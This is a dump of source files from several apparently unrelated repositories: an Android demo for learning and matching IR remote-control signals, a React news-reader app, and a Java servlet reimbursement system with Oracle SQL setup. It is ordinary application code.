Toast.makeText(thisActivity, "Select type first!", Toast.LENGTH_SHORT).show();
return;
}
BrandItemEx[] brands = ((BomeansIrReaderApp) getApplication()).getBrands(mSelectedType.typeId);
if ((null == brands) || (brands.length == 0)) {
Toast.makeText(thisActivity, "No brands are available!", Toast.LENGTH_SHORT).show();
return;
}
showBrandDialog(brands);
}
});
}
private void initLearning() {
if (null != mIrReader) {
mIrReader.reset();
}
//sendStopLearningCommand();
mMessageText.setText("");
mScrollView.removeAllViews();
/*try {
Thread.sleep(100);
} catch (InterruptedException e) {
e.printStackTrace();
}*/
mIsLearning = true;
updateLearningState();
}
@Override
protected void onResume() {
super.onResume();
mUsbDongle = ((BomeansIrReaderApp) getApplication()).getUsbDongle();
mIrReader = ((BomeansIrReaderApp) getApplication()).getIrReader();
if (null != mIrReader) {
mIrReader.reset();
}
if (null != mUsbDongle) {
mUsbDongle.registerCallback(this);
updateDeviceStatus(mUsbDongle.isAttached());
}
}
@Override
protected void onPause() {
mIsLearning = false;
sendStopLearningCommand();
if (null != mUsbDongle) {
mUsbDongle.unregisterCallback(this);
}
super.onPause();
}
private void updateLearningState() {
if (mIsLearning) {
if (sendLearningCommand()) {
mLearningButton.setText(R.string.button_restart_learning);
} else {
mLearningButton.setText(R.string.button_start_learning);
}
} else {
sendStopLearningCommand();
mMessageText.setText("");
mLearningButton.setText(R.string.button_start_learning);
}
}
private Boolean sendLearningCommand() {
if (null != mUsbDongle && mUsbDongle.isAttached()) {
final Activity thisActivity = this;
BIRReader.PREFER_REMOTE_TYPE preferRemoteType;
// get the current selected type
int selectedTypeId = mTypeRadioGroup.getCheckedRadioButtonId();
switch (selectedTypeId) {
case R.id.type_ac:
preferRemoteType = BIRReader.PREFER_REMOTE_TYPE.AC;
break;
case R.id.type_tv:
preferRemoteType = BIRReader.PREFER_REMOTE_TYPE.TV;
break;
case R.id.type_auto:
default:
preferRemoteType = BIRReader.PREFER_REMOTE_TYPE.Auto;
break;
}
mIrReader.startLearningAndSearchCloud(false, preferRemoteType, new BIRReader.BIRReaderRemoteMatchCallback() {
@Override
public void onRemoteMatchSucceeded(final List<BIRReader.RemoteMatchResult> list) {
thisActivity.runOnUiThread(new Runnable() {
@Override
public void run() {
showMatchResult(list);
}
});
}
@Override
public void onRemoteMatchFailed(BIRReader.CloudMatchErrorCode errorCode) {
thisActivity.runOnUiThread(new Runnable() {
@Override
public void run() {
showMatchResult(null);
}
});
}
@Override
public void onFormatMatchSucceeded(final List<BIRReader.ReaderMatchResult> list) {
if (mIsLearning) {
sendLearningCommand();
}
thisActivity.runOnUiThread(new Runnable() {
@Override
public void run() {
showUsedResults(list);
LinearLayout linearLayout = new LinearLayout(thisActivity);
linearLayout.setOrientation(LinearLayout.VERTICAL);
ProgressBar progBar = new ProgressBar(thisActivity);
linearLayout.addView(progBar);
mScrollView.removeAllViews();
mScrollView.addView(linearLayout);
}
});
}
@Override
public void onFormatMatchFailed(final BIRReader.FormatParsingErrorCode errorCode) {
if (mIsLearning) {
sendLearningCommand();
}
thisActivity.runOnUiThread(new Runnable() {
@Override
public void run() {
if (errorCode == BIRReader.FormatParsingErrorCode.UnrecognizedFormat) {
mMessageText.setText(R.string.uncognized_format);
}/* else {
mMessageText.setText(R.string.learn_fail);
}*/
}
});
}
});
return true;
}
return false;
}
private Boolean sendStopLearningCommand() {
if (null != mIrReader) {
int result = mIrReader.stopLearning();
try {
Thread.sleep(200);
} catch (InterruptedException e) {
e.printStackTrace();
}
return (IRKit.BIROK == result);
}
return false;
}
private void showMatchResult(final List<BIRReader.RemoteMatchResult> matchResultList) {
final Activity thisActivity = this;
this.runOnUiThread(new Runnable() {
@Override
public void run() {
mScrollView.removeAllViews();
LinearLayout linearLayout = new LinearLayout(thisActivity);
linearLayout.setOrientation(LinearLayout.VERTICAL);
// filtering?
if ((null != matchResultList) && (matchResultList.size() > 0)) {
if (mChkFilter.isChecked()) {
// filter type
if (null != mSelectedType) {
for (int i = matchResultList.size() - 1; i >= 0; i--) {
if (!matchResultList.get(i).typeID.equals(mSelectedType.typeId)) {
matchResultList.remove(i);
}
}
}
// filter brand
if (null != mSelectedBrand) {
for (int i = matchResultList.size() - 1; i >= 0; i--) {
if (!matchResultList.get(i).brandID.equals(mSelectedBrand.brandId)) {
matchResultList.remove(i);
}
}
}
}
}
if ((null != matchResultList) && (matchResultList.size() > 0)) {
TextView textView = new TextView(thisActivity);
textView.setText(String.format(Locale.US, "%s: %d", getResources().getString(R.string.match_remotes), matchResultList.size()));
linearLayout.addView(textView);
for (BIRReader.RemoteMatchResult result : matchResultList) {
Button button = new Button(thisActivity);
button.setText(result.modelID);
final String remoteId = result.modelID;
final String typeId = result.typeID;
final String brandId = result.brandID;
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(thisActivity, TvPanelActivity.class);
intent.putExtra("TYPE_ID", typeId);
intent.putExtra("BRAND_ID", brandId);
intent.putExtra("REMOTE_ID", remoteId);
intent.putExtra("REFRESH", false);
startActivity(intent);
}
});
linearLayout.addView(button);
}
} else {
TextView textView = new TextView(thisActivity);
textView.setText(R.string.no_remote_match);
linearLayout.addView(textView);
}
mScrollView.removeAllViews();
mScrollView.addView(linearLayout);
}
});
}
private void showUsedResults(List<IRReader.ReaderMatchResult> resultList) {
String info = "Learn OK\n";
for (IRReader.ReaderMatchResult result : resultList) {
if (result.isAc()) {
info += String.format("%s (AC)\n", result.formatId);
} else {
info += String.format("%s, C:%X, K:%X\n", result.formatId, result.customCode, result.keyCode);
}
}
mMessageText.setText(info);
}
private void updateDeviceStatus(Boolean attached) {
this.setTitle(
String.format("%s (%s)", getResources().getString(R.string.app_name),
attached ? getResources().getString(R.string.connected) : getResources().getString(R.string.disconnected))
);
mIsLearning = attached;
mLearningButton.setEnabled(mIsLearning);
updateLearningState();
}
@Override
public void onDeviceStatusChanged(Boolean attached) {
updateDeviceStatus(attached);
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
switch (item.getItemId()) {
case android.R.id.home:
finish();
return true;
}
return super.onOptionsItemSelected(item);
}
private void showTypeDialog(final TypeItemEx[] types) {
final AlertDialog.Builder alertDialog = new AlertDialog.Builder(this);
LayoutInflater inflater = getLayoutInflater();
View convertView = inflater.inflate(R.layout.select_type_dialog, null);
alertDialog.setView(convertView);
alertDialog.setTitle(R.string.type);
ListView lv = (ListView) convertView.findViewById(R.id.list_view);
final AlertDialog dialog = alertDialog.show();
ArrayAdapter<TypeItemEx> adapter = new ArrayAdapter<>(this, android.R.layout.simple_list_item_1, types);
lv.setAdapter(adapter);
lv.setOnItemClickListener(new AdapterView.OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
mSelectedType = types[position];
mTextType.setText(String.format("%s: %s", getResources().getString(R.string.type), mSelectedType.toString()));
if (mSelectedType.name.equalsIgnoreCase("AC")) {
mTypeRadioGroup.check(R.id.type_ac);
} else {
mTypeRadioGroup.check(R.id.type_tv);
}
dialog.dismiss();
}
});
}
private void showBrandDialog(final BrandItemEx[] brands) {
final AlertDialog.Builder alertDialog = new AlertDialog.Builder(this);
LayoutInflater inflater = getLayoutInflater();
View convertView = inflater.inflate(R.layout.select_brand_dialog, null);
alertDialog.setView(convertView);
alertDialog.setTitle(R.string.brand);
ListView lv = (ListView) convertView.findViewById(R.id.list_view);
EditText et = (EditText) convertView.findViewById(R.id.text_filter);
final AlertDialog dialog = alertDialog.show();
final ArrayAdapter<BrandItemEx> adapter = new ArrayAdapter<>(this, android.R.layout.simple_list_item_1, brands);
lv.setAdapter(adapter);
lv.setOnItemClickListener(new AdapterView.OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
mSelectedBrand = (BrandItemEx) parent.getItemAtPosition(position);;
mTextBrand.setText(String.format("%s: %s", getResources().getString(R.string.brand), mSelectedBrand.toString()));
dialog.dismiss();
}
});
et.addTextChangedListener(new TextWatcher() {
@Override
public void beforeTextChanged(CharSequence s, int start, int count, int after) {
}
@Override
public void onTextChanged(CharSequence s, int start, int before, int count) {
adapter.getFilter().filter(s);
}
@Override
public void afterTextChanged(Editable s) {
}
});
}
}
<file_sep># bomeans_sdk_ir_learning_demo_android
Demonstrate how to using the IR learning and remote controller matching service of the Bomeans IR Cloud service via the associated SDK.
General IR learning just acts like a signal recorder. Bomeans SDK alone with the cloud service provides more than this.
The learned signal (recorded IR waveform) can be processed and analyzed by the IR Reader Engine in the SDK to extract the characteristics of the IR signals. The characteristics include the IR format, custom code, and the key code, etc. These characteristics can then send to the cloud to match the existing remote controllers in the database.
This unique feature can be treated as an easy way to pick up the suitable remote controller from the IR database which may contain thousands of entries. Typically the user have to go through a testing process by pressing the test button many times in order to test if the selected remote controller is the right one.
The whole process may look like this:
(1) User aim his remote controller to the IR receiver.
(2) Press arbitrary keys on the remote controller.
(3) Matched remote controller(s) is sent back to user.
And, yes, there might still have multiple remote controllers are matched. Most likely this is because some remote controllers share the same keys but have some advanced or special function keys that are different. In this case, the App can just recommend the one with more keys.
[Note] You need to apply an Bomeans IR API Key for this demo code to run.
<file_sep>apply plugin: 'com.android.application'
android {
compileSdkVersion 23
buildToolsVersion "23.0.2"
defaultConfig {
applicationId "com.bomeans.irreader"
minSdkVersion 16
targetSdkVersion 23
versionCode 1
versionName "1.0.20170622"
applicationVariants.all { variant ->
changeAPKName(variant, buildType)
}
}
buildTypes {
release {
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
}
}
}
def changeAPKName(variant, buildType) {
def date = new Date();
variant.outputs.each { output ->
if (output.zipAlign) {
def file = output.outputFile
output.packageApplication.outputFile = new File(file.parent, "learning_demo-" + date.format('yyyyMMdd') + "-" + buildType.name + ".apk")
}
def file = output.packageApplication.outputFile
output.packageApplication.outputFile = new File(file.parent, "learning_demo-" + date.format('yyyyMMdd') + "-" + buildType.name + ".apk")
}
}
repositories {
maven {
url "https://mint.splunk.com/gradle/"
}
}
dependencies {
compile fileTree(include: ['*.jar'], dir: 'libs')
testCompile 'junit:junit:4.12'
compile 'com.android.support:appcompat-v7:23.4.0'
compile 'com.android.support:design:23.4.0'
compile 'com.android.support:support-v4:23.4.0'
compile project(path: ':usbserial')
compile 'com.splunk.mint:mint:4.3.0'
}
task deleteAPK(type: Delete) {
delete '../release'
}
task createAPK(type: Copy) {
from('build/outputs/apk')
into('../release')
}
createAPK.dependsOn(deleteAPK, build)<file_sep>package com.bomeans.irreader.panel;
import java.util.ArrayList;
/**
* Created by ray on 2017/6/19.
*/
public class RemoteKey {
private String mKeyId;
private String mKeyName;
private int mDrawableId;
private String mDrawablePath;
private ArrayList<RemoteKey> mOptionList = null; // for AC type keys
public static final int INVALID_DRAWABLE_ID = -1;
public RemoteKey (String keyId, String keyName, int drawableId, ArrayList<RemoteKey> optionList) {
mKeyId = keyId;
mKeyName = keyName;
mDrawableId = drawableId;
mDrawablePath = null;
mOptionList = optionList;
}
public RemoteKey(String keyId, String keyName, String drawablePath, ArrayList<RemoteKey> optionList) {
mKeyId = keyId;
mKeyName = keyName;
mDrawableId = INVALID_DRAWABLE_ID;
mDrawablePath = drawablePath;
mOptionList = optionList;
}
public RemoteKey (String keyId, int drawableId, ArrayList<RemoteKey> optionList) {
this(keyId, "", drawableId, optionList);
}
public RemoteKey(String keyId, String keyName, int drawableId) {
this(keyId, keyName, drawableId, null);
}
public RemoteKey(String keyId, int drawableId) {
this(keyId, "", drawableId, null);
}
public RemoteKey(String keyId, String keyName) {
this(keyId, keyName, INVALID_DRAWABLE_ID, null);
}
public RemoteKey(String keyId) {
this(keyId, "", INVALID_DRAWABLE_ID, null);
}
public String getKeyId() {
return mKeyId;
}
public int getDrawableId() {
return mDrawableId;
}
public String getDrawablePath() {
return mDrawablePath;
}
public boolean hasDrawable() {
return mDrawableId != INVALID_DRAWABLE_ID;
}
public Boolean hasDrawablePath() {
return (null != mDrawablePath);
}
public ArrayList<RemoteKey> getOptionList() {
return mOptionList;
}
public void setOptionList(ArrayList<RemoteKey> optionList) {
mOptionList = optionList;
}
public RemoteKey getOptionById(String optionId) {
if (null == mOptionList) {
return null;
}
for (RemoteKey option : mOptionList) {
if (option.getKeyId().equalsIgnoreCase(optionId)) {
return option;
}
}
return null;
}
public RemoteKey getOptionByIndex(int index) {
if (null == mOptionList) {
return null;
}
if (index < mOptionList.size()) {
return mOptionList.get(index);
}
return null;
}
public int getOptionCount() {
if (null != mOptionList) {
return mOptionList.size();
}
return 0;
}
public void setKeyName(String keyName) {
mKeyName = keyName;
}
public String getKeyName() {
return mKeyName;
}
}
| b0865e38c714fbbc6738d6ef7c8888d39d8ec720 | [
"Markdown",
"Java",
"Gradle"
] | 9 | Java | bomeans/bomeans_sdk_ir_learning_demo_android | 0f791764229118da6a17030925e66023ecf51a82 | f0040d2d4c78893bf19d725cd1194681ea4e4acd |
refs/heads/master | <repo_name>MuhammadFariMadyan/reactjs-app1-news-api<file_sep>/src/components/News.js
import React, { Component } from "react";
import axios from 'axios'
import { Link } from 'react-router-dom'
class News extends Component {
constructor(props) {
super(props);
this.state = {
article: []
};
}
// list News
componentDidMount() {
axios.get('https://newsapi.org/v2/top-headlines?sources=al-jazeera-english&apiKey=<KEY>')
.then((res)=> {
console.log(res.data)
this.setState
(
{article: res.data.articles}
)
}).catch(err => console.log(err))
}
formatDate(date) {
var time = new Date(date);
var year = time.getFullYear();
var day = time.getDate();
var hour = time.getHours();
var minute = time.getMinutes();
var month = time.getMonth() + 1;
var composedTime =
day +
'/' +
month +
'/' +
year +
' | ' +
hour +
':' +
(minute < 10 ? '0' + minute : minute);
return composedTime;
}
render() {
return (
<div className="App">
{
this.state.article.map((news, index) => {
return (
<div align="center" key={index}>
<div className="content">
<h3>
<Link to={`/news/${index}`}> <strong>{this.formatDate(news.publishedAt)}</strong> {news.title} </Link>
</h3>
<p>{news.description ? news.description : "No Available Description"}</p>
</div>
<div className="image">
<img src={news.urlToImage ? news.urlToImage : "http://via.placeholder.com/512x512"} height="240" width="480" alt="" />
</div>
</div>
)
})
}
</div>
);
}
}
export default News;<file_sep>/src/App.js
import React, { Component } from "react";
import {
Route,
NavLink,
HashRouter
} from "react-router-dom";
import Home from "./components/Home";
import News from "./components/News";
import NewsDetail from "./components/NewsDetail";
class Main extends Component {
render() {
return (
<HashRouter>
<div>
<h1 className="title">Web News Portal </h1>
<ul className="header">
<li><NavLink exact to="/">Home</NavLink></li>
<li><NavLink to="/news">News Aljazair</NavLink></li>
</ul>
<h2> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ </h2>
<div className="content">
<Route exact path="/" component={Home}/>
<Route exact path="/news" component={News}/>
<Route exact path="/news/:index" component={NewsDetail}/>
</div>
</div>
</HashRouter>
);
}
}
export default Main;<file_sep>/src/components/NewsDetail.js
import React, { Component } from "react";
import { Link } from 'react-router-dom';
import axios from 'axios';
class News_detail extends Component {
constructor(props) {
super(props)
this.state = {
articleDetails : [],
idArticle: parseInt(this.props.match.params.index, 10)
}
}
formatDate(date) {
var time = new Date(date);
var year = time.getFullYear();
var day = time.getDate();
var hour = time.getHours();
var minute = time.getMinutes();
var month = time.getMonth() + 1;
var composedTime =
day +
'/' +
month +
'/' +
year +
', Hour : ' +
hour +
':' +
(minute < 10 ? '0' + minute : minute);
return composedTime;
}
// list Detail News
componentDidMount() {
axios.get('https://newsapi.org/v2/top-headlines?sources=al-jazeera-english&apiKey=<KEY>')
.then((res)=> {
this.setState
(
{
articleDetails: res.data.articles[this.state.idArticle]
}
)
}).catch(err => console.log(err))
}
render(){
return (
<div align="center">
<div className="content">
<h3>
<Link to='/news'>Back</Link> Title : {this.state.articleDetails.title}
</h3>
<div className="image">
<img src={this.state.articleDetails.urlToImage} height="300" width="512" alt="" />
</div>
<p><strong>Description</strong>: {this.state.articleDetails.description}</p>
<div className="article">
<p>
Author : <i>{this.state.articleDetails.author ? this.state.articleDetails.author : this.props.default}</i>,
Date : {this.formatDate(this.state.articleDetails.publishedAt)}
</p>
</div>
</div>
</div>
);
}
}
export default News_detail;<file_sep>/README.md
# reactjs-app1-news-api | 2e74b40cd157b45ec0545f065b5311052806a3c4 | [
"JavaScript",
"Markdown"
] | 4 | JavaScript | MuhammadFariMadyan/reactjs-app1-news-api | b49bce1b48e1569f24c4d45b19e102f4fe99c8f8 | 79f414e3880dab101c4dd496e5467432aa9e5476 |
refs/heads/master | <repo_name>Jolie-G/P1<file_sep>/Project1_rev1/src/main/java/com/revature/servlets/UpdateEmployeeInfoServlet.java
package com.revature.servlets;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.revature.daoImpl.UserDaoImpl;
public class UpdateEmployeeInfoServlet extends HttpServlet {
private static final long serialVersionUID = 1L;
static UserDaoImpl udao = new UserDaoImpl();
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException {
System.out.println("IN DOPOST this working?");// receiving personal information that should be
// delivered with post
req.getRequestDispatcher(process(req, res));
// information within the same page
}
public static String process(HttpServletRequest req, HttpServletResponse res) throws IOException {
System.out.println("GETTING PARAMETERS");
String firstname = req.getParameter("firstname");
String lastname = req.getParameter("lastname");
String password = req.getParameter("password");
int userid = LogInServlet.check.getUserId();
System.out.println("PARAMETERS SET");
System.out.println("UPDATE ATTEMPTED");
udao.updateEmployee( firstname, lastname, password, userid);
System.out.println("UPDATE COMPLETE");
System.out.println("UPDATE DISPLAY INFORMATION");
//Json
res.getWriter().write(new ObjectMapper().writeValueAsString(udao.getUserInfo(userid)));
System.out.println("INFORMATION DISPLAYED");
return null;
}
}
<file_sep>/Project1_rev1/src/main/java/com/revature/servlets/NewReimburseServlet.java
package com.revature.servlets;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import com.revature.beans.Reimbursement;
import com.revature.beans.Users;
import com.revature.daoImpl.ReimDaoImpl;
import com.revature.daoImpl.UserDaoImpl;
public class NewReimburseServlet extends HttpServlet{
private static final long serialVersionUID = 1L;
static Reimbursement reim = new Reimbursement();
static Reimbursement newreim = null;
Users user = new Users();
UserDaoImpl udao = new UserDaoImpl();
static ReimDaoImpl reimdao = new ReimDaoImpl();
static int newreim_status_id = 1;
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException {
System.out.println("IN DOPOST this working?");//receiving personal information that should be
//delivered with post
req.getRequestDispatcher(process(req, res));//forwarded to change
//information within the same page
}
public static String process(HttpServletRequest req, HttpServletResponse res) throws IOException {
System.out.println("in newreim");
System.out.println(" parameters attempeted");
String newReceiptImage = req.getParameter("receiptimage");
reim.setReimauthorId(LogInServlet.check.getUserId());
int author = reim.getReimauthorId();
System.out.print(LogInServlet.check.getUserId());
reim.setReimStatusId(newreim_status_id);
int reimstatus = reim.getReimStatusId();
reim.setReceiptImage(newReceiptImage);
String receiptimage = reim.getReceiptImage();
System.out.println(" parameters set");
newreim = reimdao.createReimbursement(author, reimstatus , receiptimage);
System.out.println(" after dao");
int role = LogInServlet.check.getRoleId();
if (role > 1)
{
res.sendRedirect("AdminSuccess.html");
}
else
{
res.sendRedirect("EmployeeSuccess.html");
}
return null;
}
}<file_sep>/Project1_rev1/src/main/java/com/revature/daoImpl/ReimDaoImpl.java
package com.revature.daoImpl;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
import com.revature.DAO.ReimbursementDAO;
import com.revature.beans.ManagerTeam;
import com.revature.beans.Reimbursement;
import com.revature.connection.ConnFactory;
public class ReimDaoImpl implements ReimbursementDAO {
public static ConnFactory cf = ConnFactory.getInstance();
@Override
public List<Reimbursement> getAllReimbursements() {
List<Reimbursement> reimbursements = new ArrayList<Reimbursement>();
try (Connection conn = cf.getConnection()) {
System.out.println("BEFORE PREPARED BLOCK");
PreparedStatement ps = conn.prepareStatement("SELECT * FROM REIMBURSEMENT");
System.out.println("AFTER PREPARED BLOCK");
System.out.println("BEFORE RESULT SET BLOCK");
ResultSet rs = ps.executeQuery();
System.out.println("AFTER RESULT SET BLOCK");
while (rs.next()) {
reimbursements.add(new Reimbursement(rs.getInt("REIM_ID"), rs.getInt("REIM_AUTHOR_ID"),
rs.getInt("REIM_RESOLVER_ID"), rs.getInt("REIM_STATUS_ID"), rs.getString("RECEIPT_IMAGE")));
}
} catch (SQLException e) {
System.err.println(e.getMessage());
System.err.println("SQL State: " + e.getSQLState());
System.err.println("Error code: " + e.getErrorCode());
}
System.out.println("Return result");
return reimbursements;
}
@Override
public Reimbursement createReimbursement(int author, int reimstatus, String receiptimage) {
System.out.println("BEFORE TRY BLOCK");
try (Connection conn = cf.getConnection()) {
System.out.println("BEFORE PREPARED BLOCK");
PreparedStatement ps = conn.prepareStatement(
"INSERT INTO REIMBURSEMENT ( REIM_AUTHOR_ID, REIM_STATUS_ID, RECEIPT_IMAGE) VALUES (?,?,?)");
System.out.println("AFTER PREPARED BLOCK");
ps.setInt(1, author);
ps.setInt(2, reimstatus);
ps.setString(3, receiptimage);
System.out.println("BEFORE EXECUTE SET BLOCK");
ps.executeUpdate();
System.out.println("AFTER EXECUTE SET BLOCK");
} catch (SQLException e) {
System.err.println(e.getMessage());
System.err.println("SQL State: " + e.getSQLState());
System.err.println("Error code: " + e.getErrorCode());
}
return null;
}
@Override
public List<Reimbursement> getAllEmployeeReimbursementsByStatus(int reimStatusId, int reimauthorId) {
System.out.println("BEFORE TRY BLOCK");
List<Reimbursement> reimbursements = new ArrayList<Reimbursement>();
try (Connection conn = cf.getConnection()) { // connecting to database
System.out.println("BEFORE PREPARED BLOCK");
// passing the sql statement into the child of prepared statement
PreparedStatement ps = conn
.prepareStatement("SELECT * FROM REIMBURSEMENT WHERE REIM_STATUS_ID = ? AND REIM_AUTHOR_ID = ?");
System.out.println("AFTER PREPARED BLOCK");
ps.setInt(1, reimStatusId);//set puts the parameter into the ? marks
ps.setInt(2, reimauthorId);
System.out.println("BEFORE RESULT SET BLOCK");
ResultSet rs = ps.executeQuery();
System.out.println("AFTER RESULT SET BLOCK");
while (rs.next()) {
System.out.println("Return result");
reimbursements.add(new Reimbursement(rs.getInt("REIM_ID"), rs.getInt("REIM_AUTHOR_ID"),
rs.getInt("REIM_RESOLVER_ID"), rs.getInt("REIM_STATUS_ID"), rs.getString("RECEIPT_IMAGE")));
}
} catch (SQLException e) {
System.out.println("IN CATCH");
System.err.println(e.getMessage());
System.err.println("SQL State: " + e.getSQLState());
System.err.println("Error code: " + e.getErrorCode());
}
System.out.println("return reimbursements");
return reimbursements;
}
@Override
public void editReimbursementsbyUserID(int reimStatusId, int resolverid , int reimId) {
System.out.println("BEFORE TRY BLOCK");
try (Connection conn = cf.getConnection()) { // connecting to database
System.out.println("BEFORE PREPARED BLOCK");
// passing the sql statement into the child of prepared statement
PreparedStatement ps = conn.prepareStatement( //passing the sql statement into the child
//of prepared statement
"UPDATE REIMBURSEMENT SET REIM_STATUS_ID= ?, REIM_RESOLVER_ID=? WHERE REIM_ID=?");
System.out.println("AFTER PREPARED BLOCK");
ps.setInt(1, reimStatusId);
ps.setInt(2, resolverid);
ps.setInt(3, reimId);
System.out.println("BEFORE RESULT SET BLOCK");
ps.executeQuery();
System.out.println("AFTER RESULT SET BLOCK");
} catch (SQLException e) {
System.out.println("IN CATCH");
System.err.println(e.getMessage());
System.err.println("SQL State: " + e.getSQLState());
System.err.println("Error code: " + e.getErrorCode());
}
}
@Override
public List<ManagerTeam> ViewAllManaged() {
System.out.println("BEFORE TRY BLOCK");
List<ManagerTeam> managed = new ArrayList<ManagerTeam>();
try (Connection conn = cf.getConnection()) { // connecting to database
System.out.println("BEFORE PREPARED BLOCK");
// passing the sql statement into the child of prepared statement
PreparedStatement ps = conn
.prepareStatement("SELECT * FROM Manager_Employee_Pairing");
System.out.println("AFTER PREPARED BLOCK");
System.out.println("BEFORE RESULT SET BLOCK");
ResultSet rs = ps.executeQuery();
System.out.println("AFTER RESULT SET BLOCK");
while (rs.next()) {
System.out.println("Return result");
managed.add(new ManagerTeam(rs.getInt("Team_ID"), rs.getInt("SUPER_MANAGER_ID"),
rs.getInt("MANAGER_ID"), rs.getInt("EMPLOYEE_ID")));
}
} catch (SQLException e) {
System.out.println("IN CATCH");
System.err.println(e.getMessage());
System.err.println("SQL State: " + e.getSQLState());
System.err.println("Error code: " + e.getErrorCode());
}
System.out.println("return reimbursements");
return managed;
}
}
<file_sep>/Project1_rev1/src/main/java/com/revature/servlets/getAllEmployeeReimbursementsByStatusServlet.java
package com.revature.servlets;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.revature.beans.Reimbursement;
import com.revature.daoImpl.ReimDaoImpl;
public class getAllEmployeeReimbursementsByStatusServlet extends HttpServlet{
private static final long serialVersionUID = 1L;
public static ReimDaoImpl reimDAO = new ReimDaoImpl();
public static Reimbursement reimburse = new Reimbursement();
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException {
System.out.println("IN DOGET this working?"); // request information that is being sent from
// the client is being passed into here, and then
// being passed into the request helper's method
// called "process"
req.getRequestDispatcher(process(req, res));
}
public static String process(HttpServletRequest req, HttpServletResponse res) throws IOException, JsonProcessingException {
System.out.println("IN PROCESS");
System.out.println("SETTING PARAMETERS");
String reimStatusIdconvert = req.getParameter("reimbursestatus");
int reimStatusId = Integer.parseInt(reimStatusIdconvert);//converting String reinStatusIdconvert to an int, via parseInt method
reimburse.setReimStatusId(reimStatusId);
reimburse.setReimauthorId(LogInServlet.check.getUserId());
int reimauthorId = reimburse.getReimauthorId();
System.out.println("PARAMETERS SET");
try {
System.out.println("IN TRY");
System.out.println(reimDAO.getAllEmployeeReimbursementsByStatus(reimStatusId, reimauthorId));
//Json
res.getWriter().write(new ObjectMapper().writeValueAsString(reimDAO.getAllEmployeeReimbursementsByStatus(reimStatusId, reimauthorId)));
}
catch(NullPointerException e) {
System.out.println("IN CATCH");
System.out.println("NO REIMBURSEMENTS");
}
return null;
}
}
<file_sep>/Project1_rev1/Oracle Connection/Oracle Servlet/FirstConnection.sql
--CREATE TABLE lookuptable_role (userrole_id NUMBER (15), status VARCHAR2 (15), Primary Key (userrole_id));
--CREATE TABLE lookuptable_ReimStatus (reimstatus_id NUMBER (15), status VARCHAR2 (15), Primary Key (reimstatus_id));
--CREATE TABLE lookuptable_ReimType (reimtpye_id NUMBER (15), status VARCHAR (15), Primary Key (reimtpye_id));
CREATE TABLE usertable2
(user_id NUMBER (15), firstname VARCHAR2 (15), lastname VARCHAR2 (15), password VARCHAR2 (15), userrole_id NUMBER (15), Primary Key (user_id),Constraint rolefk2 FOREIGN Key (userrole_id)
REFERENCES lookuptable_role (userrole_id));
--CREATE TABLE reimtable (reim_id NUMBER (15),auth_id NUMBER (15), resolver_id NUMBER (15), reimstatus_id NUMBER (15), reimtpye_id NUMBER (15) ,reciptimage VARCHAR (15), Primary Key (reim_id),
--Constraint userrolefk FOREIGN Key (auth_id) REFERENCES usertable (user_id),
--Constraint resolverrolefk FOREIGN Key (resolver_id) REFERENCES usertable (user_id),
--Constraint reimstatusfk FOREIGN Key (reimstatus_id) REFERENCES lookuptable_ReimStatus (reimstatus_id),
--Constraint reimtypefk FOREIGN Key (reimtpye_id) REFERENCES lookuptable_ReimType (reimtpye_id));
--INSERT INTO lookuptable_role VALUES ( 1, 'Employee');
--INSERT INTO lookuptable_role VALUES ( 2, 'Manager');
--INSERT INTO lookuptable_role VALUES ( 3, 'SuperManager');
--INSERT INTO lookuptable_ReimStatus VALUES ( 1, 'Pending');
--INSERT INTO lookuptable_ReimStatus VALUES ( 2, 'Approved');
--INSERT INTO lookuptable_ReimStatus VALUES ( 3, 'Denied');
--INSERT INTO lookuptable_ReimType VALUES ( 1, 'Lodging');
--INSERT INTO lookuptable_ReimType VALUES ( 2, 'Travel');
--INSERT INTO lookuptable_ReimType VALUES ( 3, 'Other');
--INSERT INTO usertable2 VALUES ( 1, 'James', 'Cameron', 12345, 1);
INSERT INTO usertable2 VALUES ( 3, 'Jim', 'Chan', 'cool', 3);
INSERT INTO usertable2 VALUES ( 4, 'Bob', 'Chan', 'cool', 1);
--INSERT INTO reimtable VALUES (1, 1, 2, 1, 1, 'noimage');
--Select * from usertable2 WHERE firstname = 'Jack';
Select firstname From usertable2 WHERE firstname = 'Jim';
commit;<file_sep>/README.md
# P1
Project One repository final
<file_sep>/Project1_rev1/src/main/java/com/revature/DAO/UserDAO.java
package com.revature.DAO;
import java.util.List;
import com.revature.beans.Users;
public interface UserDAO {
public Users getUserInfo(int userId);
public Users getUserLogin(String username, String password);
public Users CreateNewEmp(String firstname, String Lastname, String password, int role);
public void updateEmployee( String firstname, String lastname, String password, int userid);
public List<Users> GetAllUsers();
}
<file_sep>/Project1_rev1/src/main/java/com/revature/servlets/LogInServlet.java
package com.revature.servlets;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.log4j.Logger;
import com.revature.beans.Users;
import com.revature.daoImpl.UserDaoImpl;
